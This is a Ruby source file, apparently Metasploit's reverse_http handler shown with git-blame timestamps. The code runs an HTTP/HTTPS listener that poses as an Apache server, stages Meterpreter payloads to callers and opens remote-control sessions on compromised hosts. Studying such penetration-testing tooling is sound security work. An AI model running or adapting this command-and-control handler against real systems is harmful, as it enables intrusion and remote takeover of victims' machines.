2012-06-29 00:18:28 -05:00
# -*- coding: binary -*-
2011-06-28 21:26:43 +00:00
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
2015-04-03 13:42:25 +10:00
require 'rex/payloads/meterpreter/uri_checksum'
2015-07-01 16:04:54 -05:00
require 'rex/post/meterpreter'
2016-08-26 14:13:38 -05:00
require 'rex/socket/x509_certificate'
2015-03-23 13:21:08 +10:00
require 'msf/core/payload/windows/verify_ssl'
2015-07-15 12:58:49 +10:00
require 'rex/user_agent'
2011-06-28 21:26:43 +00:00
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
2013-08-30 16:28:33 -05:00
include Msf :: Handler
2015-10-29 15:02:26 -05:00
include Msf :: Handler :: Reverse
2015-04-03 13:42:25 +10:00
include Rex :: Payloads :: Meterpreter :: UriChecksum
2015-03-23 13:21:08 +10:00
include Msf :: Payload :: Windows :: VerifySsl
2013-08-30 16:28:33 -05:00
#
# Returns the string representation of the handler type
#
def self . handler_type
2015-07-15 12:58:49 +10:00
return 'reverse_http'
2013-08-30 16:28:33 -05:00
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self . general_handler_type
" tunnel "
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize ( info = { } )
super
register_options (
[
2015-07-15 12:58:49 +10:00
OptString . new ( 'LHOST' , [ true , 'The local listener hostname' ] ) ,
2015-12-14 11:59:06 +00:00
OptPort . new ( 'LPORT' , [ true , 'The local listener port' , 8080 ] ) ,
2015-12-14 16:14:40 +00:00
OptString . new ( 'LURI' , [ false , 'The HTTP Path' , '' ] )
2013-08-30 16:28:33 -05:00
] , Msf :: Handler :: ReverseHttp )
register_advanced_options (
[
2015-09-04 10:36:00 +01:00
2015-07-15 12:58:49 +10:00
OptString . new ( 'MeterpreterUserAgent' , [ false , 'The user-agent that the payload should use for communication' , Rex :: UserAgent . shortest ] ) ,
OptString . new ( 'MeterpreterServerName' , [ false , 'The server header that the handler will send in response to requests' , 'Apache' ] ) ,
OptAddress . new ( 'ReverseListenerBindAddress' , [ false , 'The specific IP address to bind to on the local system' ] ) ,
2015-08-12 16:20:14 -05:00
OptBool . new ( 'OverrideRequestHost' , [ false , 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT' , false ] ) ,
OptString . new ( 'OverrideLHOST' , [ false , 'When OverrideRequestHost is set, use this value as the host name for secondary requests' ] ) ,
OptPort . new ( 'OverrideLPORT' , [ false , 'When OverrideRequestHost is set, use this value as the port number for secondary requests' ] ) ,
2017-02-08 23:30:29 +08:00
OptString . new ( 'OverrideScheme' , [ false , 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https' ] ) ,
2015-07-15 12:58:49 +10:00
OptString . new ( 'HttpUnknownRequestResponse' , [ false , 'The returned HTML response body when the handler receives a request that is not from a payload' , '<html><body><h1>It works!</h1></body></html>' ] ) ,
2015-05-20 19:47:17 -05:00
OptBool . new ( 'IgnoreUnknownPayloads' , [ false , 'Whether to drop connections from payloads using unknown UUIDs' , false ] )
2013-08-30 16:28:33 -05:00
] , Msf :: Handler :: ReverseHttp )
end
2016-03-30 11:50:45 -05:00
def print_prefix
if Thread . current [ :cli ]
2016-05-26 18:34:53 -05:00
super + " #{ listener_uri } handling request from #{ Thread . current [ :cli ] . peerhost } ; (UUID: #{ uuid . to_s } ) "
2016-03-30 11:50:45 -05:00
else
super
end
end
2016-05-26 18:34:53 -05:00
# A URI describing where we are listening
2015-03-18 01:01:10 -05:00
#
2016-05-26 18:34:53 -05:00
# @param addr [String] the address that
2014-04-16 18:32:35 -05:00
# @return [String] A URI of the form +scheme://host:port/+
2016-05-26 18:34:53 -05:00
def listener_uri ( addr = datastore [ 'ReverseListenerBindAddress' ] )
addr = datastore [ 'LHOST' ] if addr . nil? || addr . empty?
2016-02-18 18:17:56 -06:00
uri_host = Rex :: Socket . is_ipv6? ( addr ) ? " [ #{ addr } ] " : addr
2016-05-26 18:34:53 -05:00
" #{ scheme } :// #{ uri_host } : #{ bind_port } #{ luri } "
2014-04-16 18:32:35 -05:00
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
2016-05-26 18:34:53 -05:00
# @param req [Rex::Proto::Http::Request]
2014-04-16 18:32:35 -05:00
# @return [String] A URI of the form +scheme://host:port/+
2016-05-26 18:34:53 -05:00
def payload_uri ( req = nil )
2015-08-12 16:20:14 -05:00
callback_host = nil
2017-02-08 23:30:29 +08:00
callback_scheme = nil
2015-08-12 16:20:14 -05:00
# Extract whatever the client sent us in the Host header
2015-08-16 11:21:22 -05:00
if req && req . headers && req . headers [ 'Host' ]
2016-05-26 18:34:53 -05:00
callback_host , callback_port = req . headers [ 'Host' ] . split ( " : " )
callback_port = callback_port . to_i
callback_port || = ( ssl? ? 443 : 80 )
2014-04-16 18:32:35 -05:00
end
2015-08-12 16:20:14 -05:00
2015-08-12 21:11:48 -05:00
# Override the host and port as appropriate
2015-08-12 16:20:14 -05:00
if datastore [ 'OverrideRequestHost' ] || callback_host . nil?
2016-05-26 18:34:53 -05:00
callback_host = datastore [ 'OverrideLHOST' ]
callback_port = datastore [ 'OverrideLPORT' ]
2017-02-08 23:30:29 +08:00
callback_scheme = datastore [ 'OverrideScheme' ]
2016-05-26 18:34:53 -05:00
end
if callback_host . nil? || callback_host . empty?
callback_host = datastore [ 'LHOST' ]
2015-08-12 16:20:14 -05:00
end
2016-05-26 18:34:53 -05:00
if callback_port . nil? || callback_port . zero?
callback_port = datastore [ 'LPORT' ]
end
2017-02-08 23:30:29 +08:00
if callback_scheme . nil? || callback_scheme . empty?
callback_scheme = scheme
end
2016-05-26 18:34:53 -05:00
if Rex :: Socket . is_ipv6? callback_host
callback_host = " [ #{ callback_host } ] "
end
2017-01-18 05:08:30 -06:00
if callback_host . nil?
raise ArgumentError , " No host specified for payload_uri "
end
if callback_port
2017-02-08 23:30:29 +08:00
" #{ callback_scheme } :// #{ callback_host } : #{ callback_port } "
2017-01-18 05:08:30 -06:00
else
2017-02-08 23:30:29 +08:00
" #{ callback_scheme } :// #{ callback_host } "
2017-01-18 05:08:30 -06:00
end
2014-04-16 18:32:35 -05:00
end
2016-04-20 11:02:15 -07:00
# Use the #refname to determine whether this handler uses SSL or not
2014-04-16 18:32:35 -05:00
#
def ssl?
2015-07-15 12:58:49 +10:00
! ! ( self . refname . index ( 'https' ) )
2014-04-16 18:32:35 -05:00
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
2015-07-15 12:58:49 +10:00
( ssl? ) ? 'https' : 'http'
2014-04-16 18:32:35 -05:00
end
2016-01-25 21:53:21 +10:00
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
l = datastore [ 'LURI' ] || " "
2016-05-24 17:16:09 -05:00
if l && l . length > 0
# strip trailing slashes
2016-07-05 01:20:54 -05:00
while l [ - 1 , 1 ] == '/'
2016-01-25 21:53:21 +10:00
l = l [ 0 ... - 1 ]
end
2016-05-24 17:16:09 -05:00
# make sure the luri has the prefix
2016-07-05 01:20:54 -05:00
if l [ 0 , 1 ] != '/'
2016-05-24 17:16:09 -05:00
l = " / #{ l } "
end
2016-01-25 21:53:21 +10:00
end
2016-01-26 16:58:25 +10:00
l . dup
2016-01-25 21:53:21 +10:00
end
2013-08-30 16:28:33 -05:00
# Create an HTTP listener
#
2016-05-26 18:34:53 -05:00
# @return [void]
2013-08-30 16:28:33 -05:00
def setup_handler
2016-02-18 18:17:56 -06:00
local_addr = nil
2013-11-05 06:56:21 +10:00
local_port = bind_port
2016-02-18 18:17:56 -06:00
ex = false
2014-01-04 15:50:06 -05:00
2013-08-30 16:28:33 -05:00
# Start the HTTPS server service on this host/port
2016-02-18 18:17:56 -06:00
bind_addresses . each do | ip |
begin
self . service = Rex :: ServiceManager . start ( Rex :: Proto :: Http :: Server ,
local_port , ip , ssl? ,
{
'Msf' = > framework ,
'MsfExploit' = > self ,
} ,
nil ,
( ssl? ) ? datastore [ 'HandlerSSLCert' ] : nil
)
local_addr = ip
rescue
ex = $!
print_error ( " Handler failed to bind to #{ ip } : #{ local_port } " )
else
ex = false
break
end
end
raise ex if ( ex )
2013-08-30 16:28:33 -05:00
self . service . server_name = datastore [ 'MeterpreterServerName' ]
# Add the new resource
2016-07-05 01:20:54 -05:00
service . add_resource ( ( luri + " / " ) . gsub ( " // " , " / " ) ,
2013-08-30 16:28:33 -05:00
'Proc' = > Proc . new { | cli , req |
2016-05-26 18:34:53 -05:00
on_request ( cli , req )
2013-08-30 16:28:33 -05:00
} ,
'VirtualDirectory' = > true )
2016-02-18 18:17:56 -06:00
print_status ( " Started #{ scheme . upcase } reverse handler on #{ listener_uri ( local_addr ) } " )
2015-03-18 00:59:59 -05:00
lookup_proxy_settings
2015-05-21 00:22:41 -05:00
if datastore [ 'IgnoreUnknownPayloads' ]
print_status ( " Handler is ignoring unknown payloads, there are #{ framework . uuid_db . keys . length } UUIDs whitelisted " )
end
2013-08-30 16:28:33 -05:00
end
#
2015-02-19 09:38:48 -06:00
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
2013-08-30 16:28:33 -05:00
#
def stop_handler
2015-02-24 11:06:50 -06:00
if self . service
2016-06-30 12:56:29 -05:00
self . service . remove_resource ( ( luri + " / " ) . gsub ( " // " , " / " ) )
2015-04-12 23:12:30 -05:00
if self . service . resources . empty? && self . sessions == 0
Rex :: ServiceManager . stop_service ( self . service )
end
2015-02-24 11:06:50 -06:00
end
2013-08-30 16:28:33 -05:00
end
attr_accessor :service # :nodoc:
2011-06-28 21:26:43 +00:00
protected
2015-03-18 00:59:59 -05:00
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = { }
return @proxy_settings if @proxy_settings
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyHost' ] . to_s == ''
2015-03-18 00:59:59 -05:00
@proxy_settings = info
return @proxy_settings
end
2015-03-18 01:15:32 -05:00
info [ :host ] = datastore [ 'PayloadProxyHost' ] . to_s
info [ :port ] = ( datastore [ 'PayloadProxyPort' ] || 8080 ) . to_i
info [ :type ] = datastore [ 'PayloadProxyType' ] . to_s
2015-03-18 00:59:59 -05:00
2015-03-18 01:01:10 -05:00
uri_host = info [ :host ]
if Rex :: Socket . is_ipv6? ( uri_host )
uri_host = " [ #{ info [ :host ] } ] "
2015-03-18 00:59:59 -05:00
end
2015-03-18 01:01:10 -05:00
info [ :info ] = " #{ uri_host } : #{ info [ :port ] } "
if info [ :type ] == " SOCKS "
info [ :info ] = " socks= #{ info [ :info ] } "
else
2015-03-18 00:59:59 -05:00
info [ :info ] = " http:// #{ info [ :info ] } "
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyUser' ] . to_s != ''
2015-03-18 01:15:32 -05:00
info [ :username ] = datastore [ 'PayloadProxyUser' ] . to_s
2015-03-18 00:59:59 -05:00
end
2015-07-15 12:58:49 +10:00
if datastore [ 'PayloadProxyPass' ] . to_s != ''
2015-03-18 01:15:32 -05:00
info [ :password ] = datastore [ 'PayloadProxyPass' ] . to_s
2015-03-18 00:59:59 -05:00
end
end
@proxy_settings = info
end
2013-08-30 16:28:33 -05:00
#
# Parses the HTTPS request
#
2016-05-26 18:34:53 -05:00
def on_request ( cli , req )
2016-03-30 11:50:45 -05:00
Thread . current [ :cli ] = cli
2013-08-30 16:28:33 -05:00
resp = Rex :: Proto :: Http :: Response . new
2015-03-22 16:17:12 -05:00
info = process_uri_resource ( req . relative_resource )
uuid = info [ :uuid ] || Msf :: Payload :: UUID . new
2013-08-30 16:28:33 -05:00
2015-03-22 16:17:12 -05:00
# Configure the UUID architecture and payload if necessary
2016-05-26 18:34:53 -05:00
uuid . arch || = self . arch
uuid . platform || = self . platform
2013-08-30 16:28:33 -05:00
2016-01-26 00:34:19 +10:00
conn_id = luri
2015-03-21 03:15:08 -05:00
if info [ :mode ] && info [ :mode ] != :connect
2016-01-26 00:34:19 +10:00
conn_id << generate_uri_uuid ( URI_CHECKSUM_CONN , uuid )
else
conn_id << req . relative_resource
2016-05-26 18:34:53 -05:00
conn_id = conn_id . chomp ( '/' )
2015-03-21 03:15:08 -05:00
end
2013-08-30 16:28:33 -05:00
2016-05-26 18:34:53 -05:00
request_summary = " #{ conn_id } with UA ' #{ req . headers [ 'User-Agent' ] } ' "
2015-10-05 11:05:05 -05:00
2015-05-21 00:22:41 -05:00
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
2015-05-20 19:47:17 -05:00
if datastore [ 'IgnoreUnknownPayloads' ] && ! framework . uuid_db [ uuid . puid_hex ]
2016-03-30 11:50:45 -05:00
print_status ( " Ignoring unknown UUID: #{ request_summary } " )
2015-05-20 19:47:17 -05:00
info [ :mode ] = :unknown_uuid
end
2015-05-21 00:22:41 -05:00
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore [ 'IgnoreUnknownPayloads' ] && info [ :mode ] . to_s =~ / ^init_ /
allowed_urls = framework . uuid_db [ uuid . puid_hex ] [ 'urls' ] || [ ]
unless allowed_urls . include? ( req . relative_resource )
2016-03-30 11:50:45 -05:00
print_status ( " Ignoring unknown UUID URL: #{ request_summary } " )
2015-05-21 00:22:41 -05:00
info [ :mode ] = :unknown_uuid_url
end
end
2015-03-26 18:26:56 -05:00
self . pending_connections += 1
2013-08-30 16:28:33 -05:00
# Process the requested resource.
2015-03-21 03:15:08 -05:00
case info [ :mode ]
2015-04-14 16:33:01 +10:00
when :init_connect
2016-03-30 11:50:45 -05:00
print_status ( " Redirecting stageless connection from #{ request_summary } " )
2015-04-14 16:33:01 +10:00
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
2015-07-02 08:03:39 +10:00
pkt = Rex :: Post :: Meterpreter :: Packet . new ( Rex :: Post :: Meterpreter :: PACKET_TYPE_RESPONSE ,
'core_patch_url' )
2015-07-01 16:04:54 -05:00
pkt . add_tlv ( Rex :: Post :: Meterpreter :: TLV_TYPE_TRANS_URL , conn_id + " / " )
2015-04-14 16:33:01 +10:00
resp . body = pkt . to_r
2016-11-02 11:33:59 +10:00
when :init_python , :init_native , :init_java
2016-11-03 06:44:39 +10:00
# TODO: at some point we may normalise these three cases into just :init
2015-03-11 19:40:52 -05:00
url = payload_uri ( req ) + conn_id + '/'
2016-11-03 06:44:39 +10:00
2016-11-02 11:33:59 +10:00
# Damn you, python! Ruining my perfect world!
url += " \x00 " unless uuid . arch == ARCH_PYTHON
2015-11-26 15:21:51 -06:00
uri = URI ( payload_uri ( req ) + conn_id )
2013-08-30 16:28:33 -05:00
2016-11-02 11:33:59 +10:00
# TODO: does this have to happen just for windows, or can we set it for all?
resp [ 'Content-Type' ] = 'application/octet-stream' if uuid . platform == 'windows'
2013-08-30 16:28:33 -05:00
2016-03-29 09:35:53 +10:00
begin
2016-11-02 00:52:25 +10:00
blob = self . generate_stage (
2016-11-02 11:33:59 +10:00
url : url ,
uuid : uuid ,
2016-03-29 09:35:53 +10:00
lhost : uri . host ,
2016-11-02 11:33:59 +10:00
lport : uri . port ,
uri : conn_id
2016-03-29 09:35:53 +10:00
)
2016-11-02 11:33:59 +10:00
blob = encode_stage ( blob ) if self . respond_to? ( :encode_stage )
2016-11-03 06:44:39 +10:00
print_status ( " Staging #{ uuid . arch } payload ( #{ blob . length } bytes) ... " )
2016-11-02 11:33:59 +10:00
resp . body = blob
2016-03-29 09:35:53 +10:00
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
2016-05-26 18:34:53 -05:00
:passive_dispatcher = > self . service ,
2016-03-29 09:35:53 +10:00
:conn_id = > conn_id ,
:url = > url ,
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
:ssl = > ssl? ,
:payload_uuid = > uuid
} )
rescue NoMethodError
print_error ( " Staging failed. This can occur when stageless listeners are used with staged payloads. " )
return
end
2013-08-30 16:28:33 -05:00
2015-03-21 03:15:08 -05:00
when :connect
2015-12-15 09:59:08 +00:00
print_status ( " Attaching orphaned/stageless session... " )
2015-04-14 16:33:01 +10:00
2015-07-15 12:58:49 +10:00
resp . body = ''
2016-01-26 00:34:19 +10:00
url = payload_uri ( req ) + conn_id
url << '/' unless url [ - 1 ] == '/'
2013-08-30 16:28:33 -05:00
2016-11-29 07:54:51 +10:00
# Damn you, python! Ruining my perfect world!
url += " \x00 " unless uuid . arch == ARCH_PYTHON
2013-08-30 16:28:33 -05:00
# Short-circuit the payload's handle_connection processing for create_session
create_session ( cli , {
2016-05-26 18:34:53 -05:00
:passive_dispatcher = > self . service ,
2013-08-30 16:28:33 -05:00
:conn_id = > conn_id ,
2016-11-29 07:54:51 +10:00
:url = > url ,
2015-07-15 12:58:49 +10:00
:expiration = > datastore [ 'SessionExpirationTimeout' ] . to_i ,
:comm_timeout = > datastore [ 'SessionCommunicationTimeout' ] . to_i ,
:retry_total = > datastore [ 'SessionRetryTotal' ] . to_i ,
:retry_wait = > datastore [ 'SessionRetryWait' ] . to_i ,
2013-08-30 16:28:33 -05:00
:ssl = > ssl? ,
2015-03-31 15:44:18 -05:00
:payload_uuid = > uuid
2013-08-30 16:28:33 -05:00
} )
else
2015-05-21 00:22:41 -05:00
unless [ :unknown_uuid , :unknown_uuid_url ] . include? ( info [ :mode ] )
2016-03-30 11:50:45 -05:00
print_status ( " Unknown request to #{ request_summary } " )
2015-05-21 00:22:41 -05:00
end
2016-07-05 00:10:20 -05:00
resp . code = 200
resp . message = 'OK'
resp . body = datastore [ 'HttpUnknownRequestResponse' ] . to_s
2015-03-26 18:26:56 -05:00
self . pending_connections -= 1
2013-08-30 16:28:33 -05:00
end
cli . send_response ( resp ) if ( resp )
# Force this socket to be closed
2016-05-26 18:34:53 -05:00
self . service . close_client ( cli )
2013-08-30 16:28:33 -05:00
end
2011-06-28 21:26:43 +00:00
end
end
end